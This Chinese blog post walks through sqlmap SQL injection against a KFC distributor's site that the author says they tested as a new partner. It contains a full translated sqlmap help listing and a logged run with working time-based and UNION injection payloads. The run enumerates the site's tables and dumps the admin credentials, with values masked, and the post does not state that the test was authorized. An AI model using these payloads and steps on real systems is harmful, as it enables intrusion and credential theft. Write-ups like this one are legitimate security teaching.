提醒:本文最后更新于 2021-09-26 18:22,文中所关联的信息可能已发生改变,请知悉!
最近跟肯德基某分销商合作, 由于是新的合作商, 我这边随即对其进行了简单的安全测试
目前暂时只测试了以下两个安全问题
Xss 攻击 ->有效
MySQL 注入 ->有效
首先我们记录一下 Sqlmap 操作文档
猜解流程
(1) 猜解是否能注入
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
Linux : .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
(2) 猜解表
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
(3) 根据猜解的表进行猜解表的字段(假如通过 2 得到了 admin 这个表)
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin
Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin
(4) 根据字段猜解内容(假如通过 3 得到字段为 username 和 password)
win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C "username,password"
Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C
"username,[url=]B[/url]password"
Sqlmap 帮助
Usage: python sqlmap.py [options]
Options(选项):
-h, --help Show basic help message and exit 显示此帮助消息并退出
-hh Show advanced help message and exit 展示先进的帮助信息并退出
--version Show program's version number and exit 显示程序的版本号并退出
-v VERBOSE Verbosity level: 0-6 (default 1) 详细级别:0-6(默认为 1)Target(目标):
At least one of these options has to be provided to define the
target(s)
以下至少需要设置其中一个选项,设置目标 URL。-d DIRECT Connection string for direct database connection 直接连接到数据库。-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") 目标 URL。-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file 解析目标 (s) 从 Burp 或 WebScarab 代理日志文件
-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file 解析目标 (s) 从远程站点地图文件(.xml)
-m BULKFILE Scan multiple targets given in a textual file 扫描文本文件中给出的多个目标
-r REQUESTFILE Load HTTP request from a file 从文件加载 HTTP 请求
-g GOOGLEDORK Process Google dork results as target URLs 处理 Google dork 的结果作为目标 URL。-c CONFIGFILE Load options from a configuration INI file 从 INI 配置文件中加载选项。Request(请求):
These options can be used to specify how to connect to the target URL 这些选项可以用来指定如何连接到目标 URL。--method=METHOD Force usage of given HTTP method (e.g. PUT) 强制使用给定的 HTTP 方法(e.g. PUT)--data=DATA Data string to be sent through POST 通过 POST 发送的数据字符串
--param-del=PARA.. Character used for splitting parameter values 用于拆分参数值的字符
--cookie=COOKIE HTTP Cookie header value HTTP Cookie 头的值
--cookie-del=COO.. Character used for splitting cookie values 用于分割 Cookie 值的字符
--load-cookies=L.. File containing cookies in Netscape/wget format 包含 Netscape / wget 格式的 cookie 的文件
--drop-set-cookie Ignore Set-Cookie header from response 从响应中忽略 Set-Cookie 头
--user-agent=AGENT HTTP User-Agent header value 指定 HTTP User - Agent 头
--random-agent Use randomly selected HTTP User-Agent header value 使用随机选定的 HTTP User - Agent 头
--host=HOST HTTP Host header value HTTP 主机头值
--referer=REFERER HTTP Referer header value 指定 HTTP Referer 头
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1") 额外 header
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123") 额外 header
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI) HTTP 认证类型(Basic, Digest, NTLM or PKI)
--auth-cred=AUTH.. HTTP authentication credentials (name:password) HTTP 认证凭证(name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file HTTP 认证 PEM 认证 / 私钥文件
--ignore-401 Ignore HTTP Error 401 (Unauthorized) 忽略 HTTP 错误 401(未经授权)
--proxy=PROXY Use a proxy to connect to the target URL 使用代理连接到目标网址
--proxy-cred=PRO.. Proxy authentication credentials (name:password) 代理认证证书(name:password)
--proxy-file=PRO.. Load proxy list from a file 从文件中加载代理列表
--ignore-proxy Ignore system default proxy settings 忽略系统默认代理设置
--tor Use Tor anonymity network 使用 Tor 匿名网络
--tor-port=TORPORT Set Tor proxy port other than default 设置 Tor 代理端口而不是默认值
--tor-type=TORTYPE Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5) 设置 Tor 代理类型
--check-tor Check to see if Tor is used properly 检查 Tor 是否正确使用
--delay=DELAY Delay in seconds between each HTTP request 每个 HTTP 请求之间的延迟(秒)--timeout=TIMEOUT Seconds to wait before timeout connection (default 30) 秒超时连接前等待(默认 30)--retries=RETRIES Retries when the connection timeouts (default 3) 连接超时时重试(默认值 3)--randomize=RPARAM Randomly change value for given parameter(s) 随机更改给定参数的值(s)
--safe-url=SAFEURL URL address to visit frequently during testing 在测试期间频繁访问的 URL 地址
--safe-post=SAFE.. POST data to send to a safe URL POST 数据发送到安全 URL
--safe-req=SAFER.. Load safe HTTP request from a file 从文件加载安全 HTTP 请求
--safe-freq=SAFE.. Test requests between two visits to a given safe URL 在两次访问给定安全网址之间测试请求
--skip-urlencode Skip URL encoding of payload data 跳过有效载荷数据的 URL 编码
--csrf-token=CSR.. Parameter used to hold anti-CSRF token 参数用于保存 anti-CSRF 令牌
--csrf-url=CSRFURL URL address to visit to extract anti-CSRF token 提取 anti-CSRF URL 地址访问令牌
--force-ssl Force usage of SSL/HTTPS 强制使用 SSL / HTTPS
--hpp Use HTTP parameter pollution method 使用 HTTP 参数 pollution 的方法
--eval=EVALCODE Evaluate provided Python code before the request (e.g. 评估请求之前提供 Python 代码
"import hashlib;id2=hashlib.md5(id).hexdigest()")
Optimization(优化):
These options can be used to optimize the performance of sqlmap 这些选项可用于优化 sqlmap 的性能
-o Turn on all optimization switches 开启所有优化开关
--predict-output Predict common queries output 预测常见的查询输出
--keep-alive Use persistent HTTP(s) connections 使用持久的 HTTP(S)连接
--null-connection Retrieve page length without actual HTTP response body 从没有实际的 HTTP 响应体中检索页面长度
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1) 最大的 HTTP(S)请求并发量(默认为 1)Injection(注入):
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
这些选项可以用来指定测试哪些参数,提供自定义的注入 payloads 和可选篡改脚本。-p TESTPARAMETER Testable parameter(s) 可测试的参数(S)--skip=SKIP Skip testing for given parameter(s) 跳过对给定参数的测试
--skip-static Skip testing parameters that not appear to be dynamic 跳过测试不显示为动态的参数
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses") 使用正则表达式排除参数进行测试(e.g. "ses")--dbms=DBMS Force back-end DBMS to this value 强制后端的 DBMS 为此值
--dbms-cred=DBMS.. DBMS authentication credentials (user:password) DBMS 认证凭证(user:password)
--os=OS Force back-end DBMS operating system to this value 强制后端的 DBMS 操作系统为这个值
--invalid-bignum Use big numbers for invalidating values 使用大数字使值无效
--invalid-logical Use logical operations for invalidating values 使用逻辑操作使值无效
--invalid-string Use random strings for invalidating values 使用随机字符串使值无效
--no-cast Turn off payload casting mechanism 关闭有效载荷铸造机制
--no-escape Turn off string escaping mechanism 关闭字符串转义机制
--prefix=PREFIX Injection payload prefix string 注入 payload 字符串前缀
--suffix=SUFFIX Injection payload suffix string 注入 payload 字符串后缀
--tamper=TAMPER Use given script(s) for tampering injection data 使用给定的脚本(S)篡改注入数据
Detection(检测):
These options can be used to customize the detection phase 这些选项可以用来指定在 SQL 盲注时如何解析和比较 HTTP 响应页面的内容。--level=LEVEL Level of tests to perform (1-5, default 1) 执行测试的等级(1-5,默认为 1)--risk=RISK Risk of tests to perform (1-3, default 1) 执行测试的风险(0-3,默认为 1)--string=STRING String to match when query is evaluated to True 查询时有效时在页面匹配字符串
--not-string=NOT.. String to match when query is evaluated to False 当查询求值为无效时匹配的字符串
--regexp=REGEXP Regexp to match when query is evaluated to True 查询时有效时在页面匹配正则表达式
--code=CODE HTTP code to match when query is evaluated to True 当查询求值为 True 时匹配的 HTTP 代码
--text-only Compare pages based only on the textual content 仅基于在文本内容比较网页
--titles Compare pages based only on their titles 仅根据他们的标题进行比较
Techniques(技巧):
These options can be used to tweak testing of specific SQL injection
techniques
这些选项可用于调整具体的 SQL 注入测试。--technique=TECH SQL injection techniques to use (default "BEUSTQ") SQL 注入技术测试(默认 BEUST)--time-sec=TIMESEC Seconds to delay the DBMS response (default 5) DBMS 响应的延迟时间(默认为 5 秒)--union-cols=UCOLS Range of columns to test for UNION query SQL injection 定列范围用于测试 UNION 查询注入
--union-char=UCHAR Character to use for bruteforcing number of columns 用于暴力猜解列数的字符
--union-from=UFROM Table to use in FROM part of UNION query SQL injection 要在 UNION 查询 SQL 注入的 FROM 部分使用的表
--dns-domain=DNS.. Domain name used for DNS exfiltration attack 域名用于 DNS 漏出攻击
--second-order=S.. Resulting page URL searched for second-order response 生成页面的 URL 搜索为 second-order 响应
Fingerprint(指纹):
-f, --fingerprint Perform an extensive DBMS version fingerprint 执行检查广泛的 DBMS 版本指纹
Enumeration(枚举):
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的 SQL 语句。-a, --all Retrieve everything 检索一切
-b, --banner Retrieve DBMS banner 检索数据库管理系统的标识
--current-user Retrieve DBMS current user 检索数据库管理系统的标识
--current-db Retrieve DBMS current database 检索数据库管理系统当前数据库
--hostname Retrieve DBMS server hostname 检索数据库服务器的主机名
--is-dba Detect if the DBMS current user is DBA 检测 DBMS 当前用户是否 DBA
--users Enumerate DBMS users 枚举数据库管理系统用户
--passwords Enumerate DBMS users password hashes 枚举数据库管理系统用户密码哈希
--privileges Enumerate DBMS users privileges 枚举数据库管理系统用户的权限
--roles Enumerate DBMS users roles 枚举数据库管理系统用户的角色
--dbs Enumerate DBMS databases 枚举数据库管理系统数据库
--tables Enumerate DBMS database tables 枚举的 DBMS 数据库中的表
--columns Enumerate DBMS database table columns 枚举 DBMS 数据库表列
--schema Enumerate DBMS schema 枚举数据库架构
--count Retrieve number of entries for table(s) 检索表的条目数
--dump Dump DBMS database table entries 转储数据库管理系统的数据库中的表项
--dump-all Dump all DBMS databases tables entries 转储数据库管理系统的数据库中的表项
--search Search column(s), table(s) and/or database name(s) 搜索列(S),表(S)和 / 或数据库名称(S)--comments Retrieve DBMS comments 检索数据库的 comments(注释、评论)
-D DB DBMS database to enumerate 要进行枚举的数据库名
-T TBL DBMS database table(s) to enumerate 要进行枚举的数据库表
-C COL DBMS database table column(s) to enumerate 要进行枚举的数据库列
-X EXCLUDECOL DBMS database table column(s) to not enumerate 要不进行枚举的数据库列
-U USER DBMS user to enumerate 用来进行枚举的数据库用户
--exclude-sysdbs Exclude DBMS system databases when enumerating tables 枚举表时排除系统数据库
--pivot-column=P.. Pivot column name 主列名称
--where=DUMPWHERE Use WHERE condition while table dumping 使用 WHERE 条件进行表转储
--start=LIMITSTART First query output entry to retrieve 第一个查询输出进入检索
--stop=LIMITSTOP Last query output entry to retrieve 最后查询的输出进入检索
--first=FIRSTCHAR First query output word character to retrieve 第一个查询输出字的字符检索
--last=LASTCHAR Last query output word character to retrieve 最后查询的输出字字符检索
--sql-query=QUERY SQL statement to be executed 要执行的 SQL 语句
--sql-shell Prompt for an interactive SQL shell 提示交互式 SQL 的 shell
--sql-file=SQLFILE Execute SQL statements from given file(s) 从给定文件执行 SQL 语句
Brute force(蛮力):
These options can be used to run brute force checks 这些选项可以被用来运行蛮力检查。--common-tables Check existence of common tables 检查存在共同表
--common-columns Check existence of common columns 检查存在共同列
User-defined function injection(用户自定义函数注入):
These options can be used to create custom user-defined functions 这些选项可以用来创建用户自定义函数。--udf-inject Inject custom user-defined functions 注入用户自定义函数
--shared-lib=SHLIB Local path of the shared library 共享库的本地路径
File system access(访问文件系统):
These options can be used to access the back-end database management
system underlying file system
这些选项可以被用来访问后端数据库管理系统的底层文件系统。--file-read=RFILE Read a file from the back-end DBMS file system 从后端的数据库管理系统文件系统读取文件
--file-write=WFILE Write a local file on the back-end DBMS file system 编辑后端的数据库管理系统文件系统上的本地文件
--file-dest=DFILE Back-end DBMS absolute filepath to write to 后端的数据库管理系统写入文件的绝对路径
Operating system access(操作系统访问):
These options can be used to access the back-end database management
system underlying operating system
这些选项可以用于访问后端数据库管理系统的底层操作系统。--os-cmd=OSCMD Execute an operating system command 执行操作系统命令
--os-shell Prompt for an interactive operating system shell 交互式的操作系统的 shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC 获取一个 OOB shell,meterpreter 或 VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC 一键获取一个 OOB shell,meterpreter 或 VNC
--os-bof Stored procedure buffer overflow exploitation 存储过程缓冲区溢出利用
--priv-esc Database process user privilege escalation 数据库进程用户权限提升
--msf-path=MSFPATH Local path where Metasploit Framework is installed Metasploit Framework 本地的安装路径
--tmp-path=TMPPATH Remote absolute path of temporary files directory 远程临时文件目录的绝对路径
Windows registry access(Windows 注册表访问):
These options can be used to access the back-end database management
system Windows registry
这些选项可以被用来访问后端数据库管理系统 Windows 注册表。--reg-read Read a Windows registry key value 读一个 Windows 注册表项值
--reg-add Write a Windows registry key value data 写一个 Windows 注册表项值数据
--reg-del Delete a Windows registry key value 删除 Windows 注册表键值
--reg-key=REGKEY Windows registry key Windows 注册表键
--reg-value=REGVAL Windows registry key value Windows 注册表项值
--reg-data=REGDATA Windows registry key value data Windows 注册表键值数据
--reg-type=REGTYPE Windows registry key value type Windows 注册表项值类型
General(一般):
These options can be used to set some general working parameters 这些选项可以用来设置一些一般的工作参数。-s SESSIONFILE Load session from a stored (.sqlite) file 保存和恢复检索会话文件的所有数据
-t TRAFFICFILE Log all HTTP traffic into a textual file 记录所有 HTTP 流量到一个文本文件中
--batch Never ask for user input, use the default behaviour 从不询问用户输入,使用所有默认配置。--binary-fields=.. Result fields having binary values (e.g. "digest") 具有二进制值的结果字段
--charset=CHARSET Force character encoding used for data retrieval 强制用于数据检索的字符编码
--crawl=CRAWLDEPTH Crawl the website starting from the target URL 从目标网址开始抓取网站
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout") 正则表达式排除网页抓取
--csv-del=CSVDEL Delimiting character used in CSV output (default ",") 分隔 CSV 输出中使用的字符
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE) 转储数据的格式
--eta Display for each output the estimated time of arrival 显示每个输出的预计到达时间
--flush-session Flush session files for current target 刷新当前目标的会话文件
--forms Parse and test forms on target URL 在目标网址上解析和测试表单
--fresh-queries Ignore query results stored in session file 忽略在会话文件中存储的查询结果
--hex Use DBMS hex function(s) for data retrieval 使用 DBMS hex 函数进行数据检索
--output-dir=OUT.. Custom output directory path 自定义输出目录路径
--parse-errors Parse and display DBMS error messages from responses 解析和显示响应中的 DBMS 错误消息
--save=SAVECONFIG Save options to a configuration INI file 保存选项到 INI 配置文件
--scope=SCOPE Regexp to filter targets from provided proxy log 使用正则表达式从提供的代理日志中过滤目标
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW) 根据有效负载和 / 或标题 (e.g. ROW) 选择测试
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK) 根据有效负载和 / 或标题跳过测试(e.g. BENCHMARK)--update Update sqlmap 更新 SqlMap
Miscellaneous(杂项):
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU") 使用简短的助记符
--alert=ALERT Run host OS command(s) when SQL injection is found 在找到 SQL 注入时运行主机操作系统命令
--answers=ANSWERS Set question answers (e.g. "quit=N,follow=N") 设置问题答案
--beep Beep on question and/or when SQL injection is found 发现 SQL 注入时提醒
--cleanup Clean up the DBMS from sqlmap specific UDF and tables SqlMap 具体的 UDF 和表清理 DBMS
--dependencies Check for missing (non-core) sqlmap dependencies 检查是否缺少(非内核)sqlmap 依赖关系
--disable-coloring Disable console output coloring 禁用控制台输出颜色
--gpage=GOOGLEPAGE Use Google dork results from specified page number 使用 Google dork 结果指定页码
--identify-waf Make a thorough testing for a WAF/IPS/IDS protection 对 WAF / IPS / IDS 保护进行全面测试
--skip-waf Skip heuristic detection of WAF/IPS/IDS protection 跳过启发式检测 WAF / IPS / IDS 保护
--mobile Imitate smartphone through HTTP User-Agent header 通过 HTTP User-Agent 标头模仿智能手机
--offline Work in offline mode (only use session data) 在离线模式下工作(仅使用会话数据)--page-rank Display page rank (PR) for Google dork results Google dork 结果显示网页排名(PR)--purge-output Safely remove all content from output directory 安全地从输出目录中删除所有内容
--smart Conduct thorough tests only if positive heuristic(s) 只有在正启发式时才进行彻底测试
--sqlmap-shell Prompt for an interactive sqlmap shell 提示交互式 sqlmap shell
--wizard Simple wizard interface for beginner users
以下操作流程记录
1. 猜解是否可注入
python sqlmap.py -u "https://www.xxxx.com/xxxx" --data "var=1"
___
__H__
___ ___[)]_____ ___ ___ {1.4.7.25#dev}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 11:05:54 /2020-07-30/
[11:05:54] [INFO] testing connection to the target URL
[11:05:54] [INFO] testing if the target URL content is stable
[11:05:55] [INFO] target URL content is stable
[11:05:55] [INFO] testing if POST parameter 'var' is dynamic
[11:05:55] [WARNING] POST parameter 'var' does not appear to be dynamic
[11:05:55] [WARNING] heuristic (basic) test shows that POST parameter 'var' might not be injectable
[11:05:55] [INFO] testing for SQL injection on POST parameter 'var'
[11:05:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:05:56] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[11:05:56] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[11:05:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[11:05:58] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[11:05:59] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[11:05:59] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[11:06:00] [INFO] testing 'Generic inline queries'
[11:06:00] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[11:06:00] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[11:06:01] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[11:06:02] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[11:06:13] [INFO] POST parameter 'var' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
//>> 上面意思是 找到了数据库 Mysql,是否直接跳过不再扫描其他类型的数据库
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
//>> 是否想要测试一些 Mysql 的其他项
[11:07:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[11:07:57] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[11:08:01] [INFO] target URL appears to be UNION injectable with 8 columns
[11:08:02] [INFO] POST parameter 'var' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'var' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
//>> 是否还需要测试其他的项目
sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:
---
Parameter: var(POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: var=1'AND (SELECT 9183 FROM (SELECT(SLEEP(5)))NODe) AND'AYDH'='AYDH
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: var=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b767871,0x73626f7045434f5474776b4e75514f785662625a68564c786a43526d5a4b5a4e6570435971625075,0x716b627871),NULL,NULL,NULL,NULL-- -
---
[11:08:21] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[11:08:22] [INFO] fetched data logged to text files under 'C:\Users\Administrator\AppData\Local\sqlmap\output\www.xxxx.com'
[*] ending @ 11:08:22 /2020-07-30/
2.查询表项 --tables
python sqlmap.py -u "https://www.xxxx.com/xxxx" --data "var=1" --tables
___
__H__
___ ___["]_____ ___ ___ {1.4.7.25#dev}
|_ -| . [.] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 11:10:25 /2020-07-30/
[11:10:26] [INFO] resuming back-end DBMS 'mysql'
[11:10:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: var(POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: var=1'AND (SELECT 9183 FROM (SELECT(SLEEP(5)))NODe) AND'AYDH'='AYDH
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: var=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b767871,0x73626f7045434f5474776b4e75514f785662625a68564c786a43526d5a4b5a4e6570435971625075,0x716b627871),NULL,NULL,NULL,NULL-- -
---
[11:10:26] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[11:10:26] [INFO] fetching database names
[11:10:26] [INFO] fetching tables for databases: 'information_schema, dbname'
Database: dbname
[14 tables]
+---------------------------------------+
| kfc_admin |
| kfc_citys |
| kfc_delivery_menu |
| kfc_delivery_menu_type |
| kfc_menu |
| kfc_menu_type |
| kfc_merchant |
| kfc_merchant_invitation |
| kfc_order |
| kfc_store |
| kfc_user_address |
| kfc_user_collect |
| kfc_wechat_ids |
| prod |
+---------------------------------------+
[11:10:27] [INFO] fetched data logged to text files under 'C:\Users\Administrator\AppData\Local\sqlmap\output\www.xxxx.com'
[*] ending @ 11:10:27 /2020-07-30/
3.查询表字段列表
python sqlmap.py -u "https://www.xxxx.com/xxxx" --data "var=1" -D dbname -T kfc_admin --columns
___
__H__
___ ___[.]_____ ___ ___ {1.4.7.25#dev}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 11:13:54 /2020-07-30/
[11:13:55] [INFO] resuming back-end DBMS 'mysql'
[11:13:55] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: var(POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: var=1'AND (SELECT 9183 FROM (SELECT(SLEEP(5)))NODe) AND'AYDH'='AYDH
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: var=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b767871,0x73626f7045434f5474776b4e75514f785662625a68564c786a43526d5a4b5a4e6570435971625075,0x716b627871),NULL,NULL,NULL,NULL-- -
---
[11:13:55] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[11:13:55] [INFO] fetching columns for table 'kfc_admin' in database 'dbname'
Database: dbname
Table: kfc_admin
[7 columns]
+-------------+--------------+
| Column | Type |
+-------------+--------------+
| user | varchar(50) |
| auth | varchar(200) |
| create_time | bigint(20) |
| id | int(11) |
| last_login | bigint(20) |
| pass | varchar(100) |
| pass_str | varchar(100) |
+-------------+--------------+
[11:13:55] [INFO] fetched data logged to text files under 'C:\Users\Administrator\AppData\Local\sqlmap\output\www.xxxx.com'
[*] ending @ 11:13:55 /2020-07-30/
4.查询字段值
python sqlmap.py -u "https://www.xxxx.com/xxxx" --data "var=1" -D dbname -T kfc_admin -C "user,auth,pass,pass_str" --dump
___
__H__
___ ___[']_____ ___ ___ {1.4.7.25#dev}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 11:17:02 /2020-07-30/
[11:17:03] [INFO] resuming back-end DBMS 'mysql'
[11:17:03] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: var (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: var=1'AND (SELECT 9183 FROM (SELECT(SLEEP(5)))NODe) AND'AYDH'='AYDH
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: var=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b767871,0x73626f7045434f5474776b4e75514f785662625a68564c786a43526d5a4b5a4e6570435971625075,0x716b627871),NULL,NULL,NULL,NULL-- -
---
[11:17:03] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[11:17:03] [INFO] fetching entries of column(s) '`user`, auth, pass, pass_str' for table 'kfc_admin' in database 'dbname'
[11:17:03] [INFO] recognized possible password hashes in column 'pass'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
//>> 发现 'pass' 字段是 hash 的 是否需要存放起来进行其他工具破解
[11:17:23] [INFO] writing hashes to a temporary file 'C:\Users\Administrator\AppData\Local\Temp\sqlmapuvgolo6c19480\sqlmaphashes-zbt849u5.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: dbname
Table: kfc_admin
[1 entry]
+--------+---------+----------------------------------+----------+
| user | auth | pass | pass_str |
+--------+---------+----------------------------------+----------+
| admin | <blank> | xxxx| xxxxx|
+--------+---------+----------------------------------+----------+
[11:17:36] [INFO] table 'dbname.kfc_admin' dumped to CSV file 'C:\Users\Administrator\AppData\Local\sqlmap\output\www.xxxx.com\dump\dbname\kfc_admin.csv'
[11:17:36] [INFO] fetched data logged to text files under 'C:\Users\Administrator\AppData\Local\sqlmap\output\www.xxxx.com'
[*] ending @ 11:17:36 /2020-07-30/
到此分析完成, 由于特殊性, 已屏蔽某些信息, 此分析文章仅供参考
以后的开发, 需要多注意这些 sql 注入,xss 数据安全, 切勿相信用户端提供数据信息
正文完